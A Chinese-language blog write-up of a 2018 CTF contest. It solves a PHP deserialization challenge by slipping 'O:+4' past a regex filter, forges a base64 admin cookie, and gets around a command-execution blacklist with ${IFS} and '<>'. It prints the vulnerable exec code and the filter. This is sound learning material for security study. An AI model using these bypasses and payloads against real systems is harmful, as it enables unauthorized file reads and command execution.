2018安恒杯12月月赛复现

前言

萌新因为种种原因没有做安恒12月的月赛题,正巧这几天发现复现,又学到了新知识!

正文

Web

easy

题目index.php给出源码:

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    public $file;
    function __toString()      
    {          
        if(isset($this->file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  
if (isset($_GET['data']))  
{ 
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }     
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?> 

这题一开始没看懂到底是啥意思,一开始定义了一个baby类,然后在下面完全没有用到有关这个类的任何东西,所以身为萌新的我一脸蒙圈…后来经过仔细地阅读代码,大量的查阅资料,现了其中的猫腻…

分析:

  1. 代码一开始包含文件flag.php
  2. 然后定义了一个类,类成员变量$file,重写__toString()方法,这个方法就是将以$filename为文件名的文件输出;
  3. 接着对data进行正则匹配preg_match('/[oc]:\d+:/i',$data,$matches),匹配结果放入$matches,匹配成功就die('Hacker!'),不成功就对输入的$data进行反序列化并输出;

解题方法:

其实这个题理解了以后就不难了,目标是输出flag.php的内容,所以构造的data肯定也与包含的文件名相关;

先对flag.php进行序列化并输出,脚本如下:

<?php
class baby 
{   
    public $file;
    function __toString()      
    {          
        if(isset($this->file)) 
        {
            $filename = "./{$this->file}";        
            if (file_get_contents($filename))         
            {              
                return file_get_contents($filename); 
            } 
        }     
    }  
}  
$a=new baby();
$a->file='flag.php';
$b=serialize($a);
echo($b);
?>

***测试结果输出:***O:4:"baby":1:{s:4:"file";s:8:"flag.php";}直接GET这个值会匹配正则表达式,所以就要想办法绕过;

绕过方法:该函数设计的初衷是为了不让Object类型被反序列化,然而正则不够严谨,我们可以在对象长度前加一个+号,即O:4 -> O:+4,即可绕过这层检测,从而使得我们可控的数据传入unserialize函数;

构造如下:O:+4:"baby":1:{s:4:"file";s:8:"flag.php";}

将这个字符传入unserialize函数以后会直接反序列化出一个baby的对象$good$good->fileflag.php,反序列化后会直接默认调用魔术方法__toString()输出文件内容;

所以归根结底还是一个正则绕过+反序列化的问题,将构造的data经过URL编码以后GET进去即可得到flag;(不知道为啥直接在浏览器里传参没用,所以就用bp构造GET了一下)

payload:?data=O%3A%2b4%3A%22baby%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

kCMhtS.png

反序列化漏洞参考链接:

https://www.freebuf.com/articles/web/167721.html

https://xz.aliyun.com/t/3017

https://paper.seebug.org/39/

easyweb2

这题拿到以后没有切入点…老办法…扫一波目录,发现admin.phpconfig.php

kCJwDJ.png

进入admin.php发现You are not admin…,基本定下思路就是伪造管理员身份登录,查看请求头中的信息发现cookie的user=dXNlcg%3D%3D推测为base64编码,解码为user

kCJIUI.png

要求以管理员身份登录,于是伪造useradmin,base64编码一下修改cookie的值为YWRtaW4=;刷新网页后发现进入了如下界面;

kCYCGV.png

输入ls发现回显;

kCYeaR.png

输入ls /想查看根目录报错error,输入cat admin.php报错,设想是过滤了空格,Google了一下空格的绕过方式如下:IFS的默认值为:空白(包括:空格,tab, 和新行)

kCtlYq.md.png

${IFS}尝试绕过,输入ls${IFS}/,发现回显中有flag信息:

kCto1f.png

直接cat${IFS}/ffLAG_404得到flag:

kCtbng.png

事后想查看admin.php和config.php的内容,发现${IFS}无效,于是尝试<>成功,直接cat<>admin.php和config.php即可;

admin.php

<?php
include 'config.php';
if (!isset($_SESSION['admin'])||$_SESSION['admin']===false) {
	die("You are not admin...");
}
if (@$_POST['cmd']) {
	$cmd = waf_exec($_POST['cmd']);
	$retval = array();
	exec($cmd, $retval, $status);
	// var_dump($retval);
	if ($status == 0) {
		$res = implode("\n",$retval);
	}else{
		$res = 'error';
	}
}else{
	$res = '';
}

include './templates/admin.html';

config.php

<?php
session_start();

function waf_exec($str){
	$black_str = "/(;|&|>|}|{|%|#|!|\?|@|\+| )/i";
		$str = preg_replace($black_str, "",$str);
		return $str;
	}

发现确实用waf_exec()函数过滤了空格,>,{,}等一系列符号,但是没有过滤< / $,所以可以直接用<和$IFS绕过即可;

参考链接:cookie欺骗命令执行的绕过技巧

MISC

juju

拿到图片丢进16进制编辑器,查找flag无果,发现是png图片就查看一下文件头,发现貌似没什么问题,看到图片的高度和长度不一样,于是都改成04,图片的下一截显现出来:

kCN7P1.png

得到的编码为base32,直接解码md5一下即可

kCNfrF.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值